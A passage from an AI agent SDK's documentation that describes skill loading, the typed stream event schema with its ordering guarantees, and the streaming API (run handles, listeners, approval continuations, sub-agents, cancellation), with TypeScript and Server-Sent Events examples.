  failing the whole load. A file with frontmatter but no `description` is still
  an error.
* A `<name>/SKILL.md` skill records its folder as `skill.directory`. `load_skill`
  then appends the folder path and lists the files next to `SKILL.md` (up to 50),
  and a `read_skill_file` tool (input `{ skill, path }`) is registered to read
  them. The path is relative to the skill's folder and cannot leave it: `..`,
  absolute paths and symlinks out are refused. Text files up to 256 KB can be
  read. `defineSkill({ directory })` sets the same field for a skill you build
  in code. A tool of your own named `read_skill_file` clashes the same way
  `load_skill` does.
* Skills come back sorted by name, so prompts are deterministic.
* Errors are `LOUSHO_SKILL_INVALID` and name the file and the problem: missing description, invalid YAML,
  invalid name, an unreadable directory, or two skills with the same name
  (both paths are listed).

```ts theme={null}
import { createAgent, loadSkills } from '@lousho/build-ai-agent';

const agent = createAgent({
  instructions: 'You are a release engineer.',
  provider,
  skills: [...(await loadSkills('./skills'))],
});
```

## Testing skills

Use [`mockModel`](/testing) to assert the model sees descriptions but not
bodies until it loads one: the first request's system prompt lists the skills,
and the request after a `load_skill` call contains the body in the tool result.


# Stream events
Source: https://lousho.com/stream-events



The events `agent.stream()` emits, their order and their versioning. For how to consume a stream, see [Streaming](/streaming).

## Event schema (version 1)

Every event has these fields:

| Field | Type | Meaning |
| - | - | - |
| `type` | string | The event type (table below). Narrow on it in TypeScript. |
| `runId` | string | Identifies the run. The same on every event of one `stream()` call. |
| `seq` | number | `0` for the first event, then `+1` per event, with no gaps. |
| `timestamp` | string | When the event was emitted, ISO 8601 (`2026-10-01T09:30:00.000Z`). |
| `v` | `1` | Schema version, exported as `AGENT_EVENT_SCHEMA_VERSION`. |
| `subagent` | object, optional | Only on events of a sub-agent's run - see [Sub-agents](/streaming#sub-agents). |

The event types and their extra fields:

| `type` | Extra fields | Emitted |
| - | - | - |
| `run.start` | `agentName: string`, `agentId?: string` | First event of every run. |
| `step.start` | `step: number` | A model step begins: one model call plus the tool calls it asks for. `step` counts from 1 (a run resumed from a checkpoint continues the count). |
| `text.delta` | `text: string` | A chunk of model text, as it arrives. |
| `object.delta` | `object: unknown` | Only for an agent with an `output` schema: the reply parsed so far, a best-effort partial object (an unfinished string value is cut where the text is; an unfinished key or number is left out). Follows a `text.delta` that changes it. Not validated; the validated object is `run.done`'s `object`. |
| `text.done` | `text: string` | The step's complete text: the concatenation of its `text.delta` events. Only for steps with text. |
| `reasoning.start` | (none) | The model starts reasoning in this step. Only with the [`reasoning` option](/reasoning) (or a model that always reasons). Its `reasoning.delta`s and `reasoning.done` follow, before the step's first `text.delta` or `tool.start`. |
| `reasoning.delta` | `text: string` | A chunk of reasoning text (or of its summary). Never part of `text.delta` / `run.done`'s `text`. |
| `reasoning.done` | `text: string`, `tokens?: number` | The reasoning ended: `text` is all of it; `tokens` when the provider reported reasoning tokens by then. When the model call fails after reasoning only and is retried, the failed attempt's reasoning ends here, before the `provider.retry` event; the retry's reasoning starts again with `reasoning.start`. |
| `tool.start` | `toolCallId: string`, `toolName: string`, `args: Record<string, unknown>`, `executedBy?: 'provider'`, `parentToolCallId?: string` | A tool call starts. `args` are the model's arguments parsed from JSON (`{}` when they are not valid JSON). A call a [code mode](/code-mode) script made carries `parentToolCallId`, the `run_code` call's id (also on its `tool.partial`, `tool.done` and `tool.error`). A [hosted tool](/hosted-tools) the provider ran inside the model call carries `executedBy: 'provider'`; it passed no permission rule, guardrail, approval or hook. Exactly one per tool call across a pause: a call that paused for approval (or sign-in) and then ran reports `tool.resume` on the continued run, not a second `tool.start`. |
| `tool.resume` | `toolCallId`, `toolName`, `args: Record<string, unknown>` | The decided call of [an approval continuation](/streaming#streaming-after-an-approval) runs. Its `tool.start` was emitted by the run that paused; handle it like `tool.start` when you track calls. |
| `tool.partial` | `toolCallId`, `toolName`, `output: unknown`, `index: number` | A snapshot of a running tool's output: a tool whose `execute` is an `async function*` reports one per `yield` (see [Streaming partial results](/tools#streaming-partial-results)). Each snapshot is complete and replaces the previous one; `index` counts the call's snapshots from 0. The last one is also the call's `tool.done` `result`. `output` is JSON-encoded like `result`. Snapshots never reach the model, the transcript, checkpoints or traces. A sub-agent's carries `subagent`. |
| `tool.done` | `toolCallId`, `toolName`, `result: unknown`, `durationMs: number`, `replacedByHook?: string`, `executedBy?: 'provider'` | A tool call returned. `result` is the value as it would be JSON-encoded (`undefined` becomes `null`, a `Date` becomes a string). `durationMs` counts from its `tool.start` / `tool.resume`. `replacedByHook` names the [hook](/hooks) whose `{ result }` outcome replaced (or stood in for) the tool's result. A [hosted tool](/hosted-tools) call carries `executedBy: 'provider'` and its `result` is capped at 20,000 characters of JSON. |
| `todo.updated` | `todos: Todo[]`, `counts: { pending, in_progress, completed, total }`, `toolCallId: string` | A successful `todo_write` call of the [todo tools](/tools#todo-tools) replaced the list, right after that call's `tool.done`. `todos` is the complete new list (`{ id, content, status }`), `toolCallId` the `todo_write` call. A sub-agent's carries `subagent`. The [UI bindings](/react#todos) keep the list and show it live. |
| `tool.error` | `toolCallId`, `toolName`, `error: { name: string, message: string }`, `durationMs: number`, `executedBy?: 'provider'` | A tool call failed: it threw, its arguments did not match its schema (`name: 'ToolArgumentsValidationError'`), or the tool does not exist. A [hosted tool](/hosted-tools) call the provider reported as failed carries `executedBy: 'provider'` and `error.name` is `'HostedToolError'`. The model gets the error as the call's result and the run continues. |
| `approval.requested` | `approvalId: string`, `toolCallId`, `toolName`, `args: Record<string, unknown>`, `kind?: 'question' \| 'sign-in'`, `question?: { text, options?, allowFreeText? }`, `signIn?: { provider, displayName?, url }` | A tool call needs a human decision. The run then stops; resume it with `agent.approvals.resolve()` or `resumeAfterApproval()` (see [Approvals](/approvals)), or stream the continuation (see [Streaming after an approval](/streaming#streaming-after-an-approval)). An `ask_question` call carries `kind: 'question'` and its `question`; answer it with `agent.approvals.answer()` (see [Asking the user a question](/approvals#asking-the-user-a-question)). A tool waiting for an OAuth sign-in carries `kind: 'sign-in'` and the link in `signIn` (see [What the user sees](/oauth#what-the-user-sees)). |
| `permission.decision` | `toolCallId`, `toolName`, `decision: 'allow' \| 'deny' \| 'ask' \| 'default'`, `rule?: { index: number, reason?: string }`, `reason?: string`, `hook?: string`, `mode?: 'plan' \| 'acceptEdits' \| 'dontAsk'`, `args?: Record<string, unknown>`, `at: string` | How a tool call's [permission rules](/approvals#permission-policies) decided it: after its `tool.start`, before the call's own `tool.done` / `tool.error` / `approval.requested`. `hook` names the `preToolCall` [hook](/hooks) that denied the call, `reason` why it (or the tool's `needsApproval`) denied. Only when the run sets `permissions` or `onPermissionDecision`, or a [permission mode](/permission-modes) other than `'default'` (`mode` is set when the mode changed the outcome); `args` is left out under `redactContent`. |
| `step.done` | `step: number`, `finishReason: string`, `usage?: { promptTokens, completionTokens, totalTokens, inputTokens, outputTokens, estimated: boolean, costUsd?: number }` | A step ends. `finishReason` is the model's (`'stop'`, `'tool_calls'`, `'length'`, ...), or `'awaiting-approval'`, `'aborted'`, `'steered'` (its model call was aborted by `run.steer()`, see [Steering](/queue-and-steer#steering)) or `'error'` when the step ended that way (a run that runs out of `maxSteps` still wanting to continue ends with `run.done` `'max-steps'`). `usage` is this step's model call, absent when the call produced no response; `promptTokens`/`completionTokens` alias `inputTokens`/`outputTokens`, `estimated` is `true` when the provider reported nothing and the counts are an estimate, and `costUsd` is absent when no model used has a known price, and `costPartial: true` marks a `costUsd` that leaves out a call with unknown pricing. |
| `error` | `error: { name: string, message: string }` | An error. If it ends the run, `run.done` with `finishReason: 'error'` follows. A provider error retried under `surfaceRetryableProviderErrors` is followed by further steps instead. |
| `provider.retry` | `attempt: number`, `maxRetries: number`, `delayMs: number`, `error: { message: string, category?: string }`, `provider: string` | A model call failed and is retried after `delayMs` (`createAgent({ retry })` or any `withRetry()` provider). `attempt` is the attempt that failed (1 = first); `category` is `'rate-limit'`, `'timeout'`, ... and absent when unknown (a 5xx, for example). |
| `provider.fallback` | `from: string`, `to: string`, `fromModel?: string`, `toModel?: string`, `error: { message: string }` | A model call still failed after its retries and the next provider takes over (`createAgent({ fallbackModels })` or any `withFallback()` provider). `from` and `to` are provider names; `fromModel` and `toModel` are the model ids, which tell two providers of the same name apart (e.g. two OpenRouter models). |
| `compaction.start` | `strategy: string`, `tokensBefore: number`, `contextWindow: number`, `thresholdTokens: number`, `trigger?: 'manual'` | The compaction hook (`createAgent({ compaction })`) found the next model request above its threshold and starts compacting it. Exactly one `compaction.done` follows. `trigger: 'manual'` marks a `session.compact()` call (see `context.cleared`). See [Context compaction](/compaction). |
| `compaction.done` | `strategy: string`, `appliedStrategy?: string`, `tokensBefore: number`, `tokensAfter: number`, `prunedToolCallIds: string[]`, `summary?: boolean`, `error?: { message: string }`, `unchanged?: true`, `trigger?: 'manual'` | A compaction ended. `tokensAfter` equals `tokensBefore` and `unchanged` is `true` when nothing could be compacted (later no-op attempts on the same transcript emit no events); `summary` is set when old turns were replaced by a summary; `error` is set when the strategy failed or fell back (the run continues); `appliedStrategy` names the strategy whose result was applied when it differs from `strategy` (`'prune-tool-results'` after a rejected summary). `trigger: 'manual'` marks a `session.compact()` call. |
| `context.cleared` | `sessionId: string`, `messagesCleared: number` | `session.clear()` emptied a session's transcript. Delivered to `session.on()` listeners, not to a run's stream. `compaction.start` / `compaction.done` from `session.compact()` also reach `session.on()` and carry `trigger: 'manual'`. |
| `budget.exceeded` | `limit: string`, `value: number`, `max: number`, `scope: 'run' \| 'session'` | A [`limits` budget](/configuration#budgets) tripped: `limit` is `'maxTokens'`, `'maxInputTokens'`, `'maxOutputTokens'`, `'maxCostUsd'`, `'maxDurationMs'` or `'maxSteps'`, `value` what was spent, `max` the limit. `run.done` (`'budget-exceeded'`) follows; with `onExceeded: 'throw'`, `error` and `run.done` (`'error'`). |
| `input.queued` | `id: string`, `text: string` | `run.enqueue()` took an input (`id` is `EnqueueResult.id`, `text` its user text). Can come at any point of the run, also inside a step. See [Queued input](/queue-and-steer#queued-input). |
| `input.steered` | `id: string`, `text: string`, `mode: 'immediate' \| 'queued'` | `run.steer()` took an input (`id` is `SteerResult.id`). `mode: 'immediate'`: the in-flight model call was aborted for it, and its step ends with `step.done` `'steered'`; `'queued'`: it waits for the next safe point like `enqueue()`. See [Steering](/queue-and-steer#steering). |
| `input.applied` | `id: string`, `step: number` | The queued (or steered) input joined the transcript, right before the model call of `step`: the `step.start` of that step follows. |
| `guardrail.tripped` | `name: string`, `kind: 'input' \| 'output' \| 'tool'`, `reason: string`, `toolName?: string`, `info?: GuardrailTripInfo` (what tripped: types and offsets, never the matched text; see [the starter set](/guardrails#input-and-output-guardrails)) | An [input, output or tool guardrail](/guardrails#input-and-output-guardrails) blocked: before the first model call (input), before the step's `text.done` (output) or after the call's `tool.start` (tool). `run.done` (`'guardrail'`) follows; with `onTripped: 'throw'`, `error` and `run.done` (`'error'`). |
| `guardrail.rewrote` | `name`, `kind`, `reason`, `toolName?`, `info?` | A guardrail rewrote the input, the step's text (before its `text.done`, which carries the new text) or a tool call's arguments. The run continues. |
| `agent.drift` | `model?: { from?: string, to?: string }`, `toolsAdded: string[]`, `toolsRemoved: string[]`, `toolsChanged: string[]`, `instructions: boolean` | A checkpointed or approval-paused run is being continued by an agent that differs from the one that saved it, and `onAgentDrift` is `'warn'` (the default): what changed. Emitted right after the continuation's `run.start`, before any step or tool event; the run continues. With `'error'` the resume is refused with `LOUSHO_AGENT_DRIFT` instead and this event is not emitted. See [Resuming with a changed agent](/durable-execution#resuming-with-a-changed-agent). |
| `handoff` | `from: string`, `to: string`, `toolCallId: string` | The run handed the conversation to another agent ([Handoffs](/handoffs)): after the handoff call's `tool.start` / `tool.done`, before the target's first `step.start`. The run's steps from here on are the target's; `run.result.agentName` names the agent of the final reply. |
| `run.done` | `finishReason: string`, `text: string`, `usage?: { promptTokens, completionTokens, totalTokens, inputTokens, outputTokens, estimated: boolean, costUsd?: number, modelCalls?: number, hostedToolCalls?: { [tool: string]: number } }`, `object?: unknown` | Last event of every run, exactly once, including aborted, failed and awaiting-approval runs. `finishReason` and `text` match `run.result` (`'max-steps'` when the `maxSteps` budget ran out while the model still wanted to continue); a failed run has `finishReason: 'error'`, `text: ''` and no `usage`. `usage` is the whole run's: `modelCalls` counts its model calls and `hostedToolCalls` the [hosted tool](/hosted-tools) calls the provider ran per tool name (their fees are not in `costUsd`). `object` is `run.result`'s validated `object` for an agent with an `output` schema (see [Structured output](/structured-output)), absent otherwise. |

Optional fields are left out when they have no value. They are never
`undefined`, so `JSON.parse(JSON.stringify(event))` returns an equal object.

### Ordering guarantees

* `run.start` is first and `run.done` is last, each exactly once.
* Each `step.start` is followed by exactly one `step.done` with the same
  `step`, before the next `step.start`. Everything a step does happens between
  the two. Not every event falls inside a step, though: `agent.drift`, an
  input guardrail's `guardrail.tripped` and the decided call's events of a
  streamed approval continuation (below) all come before the first or between
  `step.start`s, and `context.cleared` goes to `session.on()`, not to a run.
* Inside a step: `compaction.start` / `compaction.done` (if the request was
  compacted, before the model call), `provider.retry` / `provider.fallback`
  events (if the model call fails), then `text.delta` events, then `text.done`, then the tool events.
* Tool calls of one step run in parallel (see `toolConcurrency`):
  `tool.start` events come in the model's call order and `tool.done` /
  `tool.error` events in completion order. Match them by `toolCallId`.
* A `run_code` call's inner calls ([code mode](/code-mode)) start and
  settle between its own `tool.start` and its `tool.done` / `tool.error`.
* A call's `tool.partial` events come between its `tool.start` and its
  `tool.done` / `tool.error`, with `index` 0, 1, 2, ...; the partials of
  parallel calls interleave. A call that pauses for a sign-in or an approval
  has no `tool.done`; it runs again from the start once decided, reported as
  `tool.resume` (not a second `tool.start`) with `index` from 0.
* `input.queued` comes when `run.enqueue()` is called (after `run.start`, even
  for input queued before the run got going), so it can fall inside a step.
  Its `input.applied` comes between the `step.done` of the step that was
  running and the next `step.start`, which carries the `step` it names.
* `input.steered` comes when `run.steer()` is called. With `mode: 'immediate'`
  the running step ends next with `step.done` (`'steered'`, no text events
  from its aborted call), then `input.applied` and the next `step.start`.
* When a call needs approval, the calls before it run and report, then
  `approval.requested`, `step.done` (`'awaiting-approval'`) and `run.done`
  (`'awaiting-approval'`) follow. Calls after it never start. A run continued
  as a stream (`agent.approvals.streamResolve()` / `streamAnswer()`, see
  [Streaming after an approval](/streaming#streaming-after-an-approval))
  is a new stream: it reports its own `run.start`, then `agent.drift` when the
  agent changed, then the decided call's `tool.resume` and `tool.done`
  (`tool.error` for a rejection) before its first `step.start` — a consumer
  following both streams sees that call's `tool.start` once, in the run that
  paused.
* When a guardrail blocks, `guardrail.tripped` comes just before the end: for
  an input guardrail right after `run.start` (no step starts); for an output or
  tool guardrail inside the step, followed by `step.done` and `run.done`
  (`'guardrail'`). A blocked output has no `text.done`; calls after a blocked
  tool call never start.

A text-only run:

```
run.start → step.start → text.delta × n → text.done → step.done → run.done
```

A run with one tool call:

```
run.start
step.start(1) → tool.start → tool.done → step.done(1, 'tool_calls')
step.start(2) → text.delta × n → text.done → step.done(2, 'stop')
run.done('stop')
```

### TypeScript

`AgentEvent` is a discriminated union: narrowing on `event.type` gives the
payload. Each event type is exported too (`TextDeltaEvent`, `ToolDoneEvent`,
`RunDoneEvent`, ...), and `AgentEventOf<'tool.done'>` picks one by name.

```ts theme={null}
import { isAgentEvent, isToolEvent, type AgentEvent } from '@lousho/build-ai-agent';

function render(event: AgentEvent): string {
  switch (event.type) {
    case 'text.delta':
      return event.text;
    case 'tool.start':
      return `\n[${event.toolName}] ${JSON.stringify(event.args)}\n`;
    case 'tool.error':
      return `\n[${event.toolName} failed: ${event.error.message}]\n`;
    case 'run.done':
      return `\n(${event.finishReason})\n`;
    default:
      return '';
  }
}

// isToolEvent / isTextEvent / isStepEvent narrow to an event family:
const toolNames = (events: AgentEvent[]) => events.filter(isToolEvent).map((e) => e.toolName);

// isAgentEvent validates an event received over the wire:
const received: unknown = JSON.parse('{"type":"run.start","runId":"r","seq":0,"timestamp":"","v":1,"agentName":"a"}');
if (isAgentEvent(received)) console.log(render(received), toolNames([received]));
```

### Versioning

`v` changes only when an existing event changes incompatibly (a field
removed, renamed or retyped). New event types and new optional fields can be
added without changing `v`, so ignore event types you do not know.


# Streaming
Source: https://lousho.com/streaming



`agent.stream()` runs an agent exactly like `agent.send()` and reports the run
as a stream of typed events: model text as it arrives, every tool call,
step boundaries, approval requests, and a final `run.done`. Every event is a
plain JSON object, so you can forward it to a browser over Server-Sent Events
or a WebSocket without converting it. The `vendor/` model prefix chooses the
provider; with OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

> Snippets on this page leave some names to you: `provider` is any `LLMProvider` (offline: `createMockProvider()`); `agent` is a `createAgent()` result; `input` is the user's text, a `string`; `approvalStore` is an `ApprovalStore`; `toolRegistry` is a `ToolRegistry`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });

for await (const event of agent.stream('Weather in Paris?')) {
  if (event.type === 'text.delta') process.stdout.write(event.text);
}
```

The full API has the same method: `AgentExecutor.stream(options)` takes the
same options as `AgentExecutor.execute()` (approval store, checkpoints, hooks,
tracing, `toolConcurrency`, ...).

These events, the `AgentEvent` union, are the SDK's one event system: the
stream, the [listener options](#listening-without-iterating), `session.on()`,
the UI hooks, the server routes, ACP and channels all carry them.

## The `AgentRun` handle

`stream()` returns an `AgentRun`:

```ts theme={null}
interface AgentRun extends AsyncIterable<AgentEvent> {
  readonly runId: string;                   // the runId on every event
  readonly result: Promise<ExecutionResult>; // what send() / execute() would return
  enqueue(input: AgentInput): EnqueueResult; // add user input to the running run
  steer(input: AgentInput): SteerResult;     // redirect the running run to new input
}
```

* **The run starts immediately.** You do not have to iterate: `await run.result`
  on its own drives the run to completion.
* **`result`** resolves with the same `ExecutionResult` that `send()` returns,
  and rejects with the same error `send()` would reject with. An aborted run
  resolves with `finishReason: 'aborted'`; a run paused for approval resolves
  with `finishReason: 'awaiting-approval'` and `approvalId`. Leaving `result`
  unawaited never causes an unhandled rejection.
* **A failed run throws from the loop.** When the run fails, `for await` yields
  the `error` and `run.done { finishReason: 'error' }` events, then rethrows the
  error `run.result` rejects with (the one `send()` would throw), so a `try`
  around the loop catches it. Pass `{ throwOnError: false }` to `stream()` to end
  the loop normally and read the failure from the events or `run.result`. An
  abort, an early `break` and a pause for approval never throw. Session and
  `approvals.streamResolve()` streams keep ending normally.
* **Breaking out of the `for await` loop early aborts the run** (through the
  same path as `signal`, see [Cancellation](#cancellation)). `result` then
  resolves with `finishReason: 'aborted'`.
* **No backpressure; nothing is dropped.** The run never waits for the
  consumer. Events are buffered until you read them, so a slow consumer sees
  every event, in order. Iterating after the run finished still yields all of
  its events.
* **`enqueue(input)`** adds user input to the run while it runs: it joins the
  transcript before the next model call. See [Queued input](/queue-and-steer#queued-input).
* **`steer(input)`** redirects the run: a model call that has not produced
  anything yet is aborted and made again with the input. See [Steering](/queue-and-steer#steering).
* **One consumer.** An `AgentRun` can be iterated once; a second `for await`
  throws. To fan out, collect the events yourself.
* Invalid options (no `provider`, `agent` or `input`, a bad `toolConcurrency`)
  throw synchronously from `stream()`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });

const run = agent.stream('Summarize the report', { signal: AbortSignal.timeout(30_000) });
const result = await run.result; // no iteration needed
console.log(result.finishReason, result.text);
```

## Listening without iterating

A listener that throws does not fail the run (its tools may already have had side effects): the error is logged once per run with `console.warn` and the run continues.

To observe every run without iterating one, give the agent a listener:
`createAgent({ onEvent })`, or `onAgentEvent` in the `AgentExecutor.execute()`
/ `stream()` / `resumeAfterApproval()` options. It is called synchronously
with each `AgentEvent` as it happens, on `send()` as on `stream()`, for
session turns and for runs resumed after an approval. It gets the same events,
in the same order, as iterating the stream would: with a listener, `send()` /
`execute()` stream each model call too, so a step's text arrives as several
`text.delta` events (one `text.delta` per step when the provider cannot
stream). Concatenate them, or use `text.done` for each step's whole text;
`AgentExecutor.execute({ streamModelCalls: false })` generates whole steps.
Output guardrails still check only the final reply of a `send()`, as without
a listener. Sub-agents' events arrive tagged with `subagent`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  onEvent: (event) => {
    if (event.type === 'tool.start') console.log('calling', event.toolName, event.args);
    if (event.type === 'run.done') console.log('done:', event.finishReason, event.usage?.totalTokens);
  },
});

await agent.send('Weather in Paris?');
```

### Migrating from `onEvent` / `ExecutionEvent`

`ExecuteOptions.onEvent` and its `ExecutionEvent` type were removed in this
release (they were deprecated earlier). Pass `onAgentEvent` to
`AgentExecutor.execute()` / `stream()` / `resumeAfterApproval()` instead -
`createAgent({ onEvent })` already takes `AgentEvent`s and is unchanged.
The table below maps the old event names to the `AgentEvent`s a listener
gets now:

| `ExecutionEvent` (`onEvent`) | `AgentEvent` (`onAgentEvent`) |
| - | - |
| `start` (`agentId`, `agentName`) | `run.start` (`agentId`, `agentName`) |
| `text-delta` (never emitted) | `text.delta` (`text`) |
| `text-complete` (`text`, `stepUsage`) | `text.done` (`text`); the step's usage is on `step.done` (`usage`) |
| `tool-call` (`toolCall`) | `tool.start` (`toolCallId`, `toolName`, parsed `args`; `rawArgs` when the model's text was not valid JSON as sent) |
| `tool-result` (`toolResult`) | `tool.done` (`result`, `durationMs`, `replacedByHook`), or `tool.error` (`error.name`, `error.message`) |
| `error` (`error: Error`) | `error` (`error: { name, message }`) |
| `abort` (`abortReason`, `usage`) | `run.done` with `finishReason: 'aborted'` (the reason is your signal's `reason`) |
| `finish` (`finishReason`, `usage: RunUsage`) | `run.done` (`finishReason`, `text`, `usage`, `object`); the full `RunUsage` is on `result.usage` |
| a sub-agent's `start` / `finish` (with `subagent`) | the lead's `tool.start` / `tool.done` of the call that started it |
| (none: a run was one agent) | `handoff` (`from`, `to`, `toolCallId`): the run handed the conversation to another agent ([Handoffs](/handoffs)) |
| `timestamp: Date` | `timestamp`: an ISO-8601 string; plus `runId`, `seq` and `v` |

`AgentEvent` also reports what `ExecutionEvent` never did: step boundaries,
approval requests, permission decisions, budgets, guardrails, queued and
steered input, compaction, reasoning, provider retries, agent drift and handoffs (see the
[schema](/stream-events#event-schema-version-1)).

## Streaming a session turn

`session.stream(input, { signal })` streams one turn of a multi-turn
[session](/sessions) and returns the same `AgentRun`. The run sees the
conversation so far, and when it ends its turn is saved to the session's
store, just as `session.send()` saves it. `run.done` is delivered after the
save, so the transcript is complete when the loop ends. An aborted or failed
run, or one you stop reading early, is not saved.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });
const session = agent.session({ id: 'user-42' });

for await (const event of session.stream('My name is Ali.')) {
  if (event.type === 'text.delta') process.stdout.write(event.text);
}
const again = session.stream('What is my name?'); // streams with the first turn in its history
console.log((await again.result).text);
```

## Streaming after an approval

A run that paused for an [approval](/approvals) can continue as a stream
too. `agent.approvals.streamResolve()` (or `streamAnswer()`) returns an
`AgentRun` whose `result` is what `agent.approvals.resolve()` returns. Its events are `run.start`, the decided
call's `tool.resume` and `tool.done` (`tool.error` for a rejection - `tool.resume`,
not a second `tool.start`, because the paused run already reported that call's
start), then the
continuation's events exactly as in a fresh run, up to `run.done`; a further
pause ends it with `approval.requested` (`kind: 'sign-in'` with a `signIn`
link when a tool waits for an [OAuth sign-in](/oauth#what-the-user-sees)). Cancellation, `enqueue()` and
`steer()` work as on any run, and the approval can come from another
process, since everything is read from the approval store. A model chosen per
run (`model` as a function) is the one the paused run used.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ provider /* , a tool with needsApproval */ });
const paused = await agent.send('Delete the old reports.');
// paused.finishReason === 'awaiting-approval'
const run = agent.approvals.streamResolve({ id: paused.approvalId!, approved: true });
for await (const event of run) {
  if (event.type === 'tool.done') console.log(`${event.toolName} ran`);
  if (event.type === 'text.delta') process.stdout.write(event.text);
}
```

#### Advanced: the executor API

With the executor directly, `streamResumeAfterApproval()` takes the arguments
of `resumeAfterApproval()` (see [the executor API](/executor-api)) and
returns the same `AgentRun`.

```ts theme={null}
import { AgentExecutor, streamResumeAfterApproval } from '@lousho/build-ai-agent/executor';

const paused = await AgentExecutor.execute({ agent, input, provider, toolRegistry, approvalStore });
const run = streamResumeAfterApproval({ id: paused.approvalId!, approved: true }, approvalStore, toolRegistry, provider);
for await (const event of run) {
  if (event.type === 'tool.done') console.log(`${event.toolName} ran`);
  if (event.type === 'text.delta') process.stdout.write(event.text);
}
```

Every event has `type`, `runId`, `seq`, `timestamp` and `v`. The full list of event types, the ordering guarantees, the TypeScript helpers and the versioning rules are on [Stream events](/stream-events).

## Sub-agents

When the agent delegates with the `task` tool
(see [Sub-agents](/sub-agents)), the sub-agent's run is streamed
inside the same stream: its steps, `text.delta`s, `text.done`s, tool events
and errors appear between the lead's `tool.start` and `tool.done` (or
`tool.error`) for that call, each with a `subagent` field:

```json theme={null}
{ "name": "researcher", "depth": 1, "toolCallId": "call_1", "description": "find sources" }
```

`toolCallId` is the lead's tool call that started the sub-agent; a sub-agent
of a sub-agent has `depth: 2` and the enclosing one as `parent`. Events
without `subagent` are the top-level run's: the ordering guarantees above hold
for them, and separately for each sub-agent's steps (several sub-agents
running in parallel interleave). `run.start` and `run.done` belong to the
top-level run only, so they still come exactly once. A sub-agent that pauses
for approval is reported once, by the top-level `approval.requested` (which
carries the sub-agent's call).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const researcher = createAgent({ provider, instructions: 'You research.', description: 'Finds sources' });
const lead = createAgent({ provider, instructions: 'You coordinate.', subagents: { researcher } });

for await (const event of lead.stream('Write about bicycles')) {
  const who = event.subagent ? `[${event.subagent.name}] ` : '';
  if (event.type === 'text.delta') process.stdout.write(who + event.text);
}
```

## Token streaming and providers

When the provider implements `stream()` (all built-in providers and
`mockModel` do), each model step is streamed and `text.delta` events arrive
as the model produces text. Tool calls are assembled from the stream. When a
provider has no `stream()`, or its `supportsStreaming(model)` returns
`false`, the step falls back to `generate()` and its text arrives as a single
`text.delta` followed by `text.done`.

Streaming changes only how one model step is obtained. Hooks, argument
validation, approvals, parallel tool calls, checkpoints, cancellation,
tracing spans and the other `execute()` callbacks behave exactly as in
`send()`. `send()` and `execute()` stream the same way when they have a
listener (`onEvent` / `onAgentEvent`); without one they use `generate()`.

A custom provider's `stream()` should yield `text-delta` chunks and a final
`finish` chunk with `finishReason` and `usage`. Tool calls can be yielded as
`tool-call` chunks, or resolved on the `toolCalls` promise of the
`StreamResult`. An `error` chunk fails the step.

## Cancellation

Pass `signal` to stop a run from outside, or break out of the loop. Both end
the run the same way as an aborted `send()`: the signal is checked between
stream chunks, before every model call and every tool call, and reaches the
provider and the tools. The stream ends with `step.done` (`'aborted'`, when a
step was running) and `run.done` (`'aborted'`), and `result` resolves with
`finishReason: 'aborted'`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });
const run = agent.stream('Write a long story');

let chars = 0;
for await (const event of run) {
  if (event.type === 'text.delta') chars += event.text.length;
  if (chars > 500) break; // aborts the run
}
console.log((await run.result).finishReason); // 'aborted'
```

To add input to a run that is still going, or to redirect it, see [Queued input and steering](/queue-and-steer): `run.enqueue(input)` waits for the next safe point, `run.steer(input)` interrupts the current model call.

## Example: terminal

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const getWeather = defineTool({
  name: 'get_weather',
  description: 'Current weather for a city',
  input: z.object({ city: z.string() }),
  execute: async ({ city }) => ({ city, tempC: 21 }),
});

const agent = createAgent({ model: 'openai/gpt-4o-mini', tools: [getWeather] });

for await (const event of agent.stream('Weather in Paris?')) {
  switch (event.type) {
    case 'text.delta':
      process.stdout.write(event.text);
      break;
    case 'tool.start':
      console.log(`\n→ ${event.toolName}(${JSON.stringify(event.args)})`);
      break;
    case 'tool.done':
      console.log(`← ${event.toolName} in ${event.durationMs}ms`);
      break;
    case 'run.done':
      console.log(`\n[${event.finishReason}, ${event.usage?.totalTokens ?? 0} tokens]`);
      break;
  }
}
```

## Example: Server-Sent Events

Events are JSON-serializable, so an SSE endpoint is one `res.write` per
event. Abort the run when the client disconnects. For session turns,
`createRouteHandler()` does the opposite by default: the turn finishes and is
saved even when the client leaves (see [Next.js](/nextjs#routes)).

```ts theme={null}
import { createServer } from 'node:http';
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });

createServer(async (req, res) => {
  const question = new URL(req.url ?? '/', 'http://localhost').searchParams.get('q') ?? 'Hello!';
  const controller = new AbortController();
  res.on('close', () => controller.abort());

  res.writeHead(200, { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache' });
  for await (const event of agent.stream(question, { signal: controller.signal })) {
    res.write(`data: ${JSON.stringify(event)}\n\n`);
  }
  res.end();
}).listen(3000);
```

In the browser:

```ts theme={null}
const source = new EventSource('/chat?q=Weather%20in%20Paris%3F');
source.onmessage = (message) => {
  const event = JSON.parse(message.data);
  if (event.type === 'text.delta') output.textContent += event.text;
  if (event.type === 'run.done') source.close();
};
```

For a React chat UI over this kind of endpoint, see [React](/react):
`useLoushoAgent()` POSTs the input and reads the same `data:` lines.

`lousho dev` serves this format for a session per browser tab: `POST /chat`
with `{ sessionId, input }` streams `agent.session({ id }).stream(input)` as
`data:` lines ending with `event: done`, and approvals are decided through
`POST /chat/:sessionId/approvals/:id` (see [CLI](/cli#lousho-dev)).

## Advanced: the executor API

`AgentExecutor.stream()` accepts every `execute()` option (see
[the executor API](/executor-api)). Here a tool that
needs approval ends the stream with `approval.requested`:

```ts theme={null}
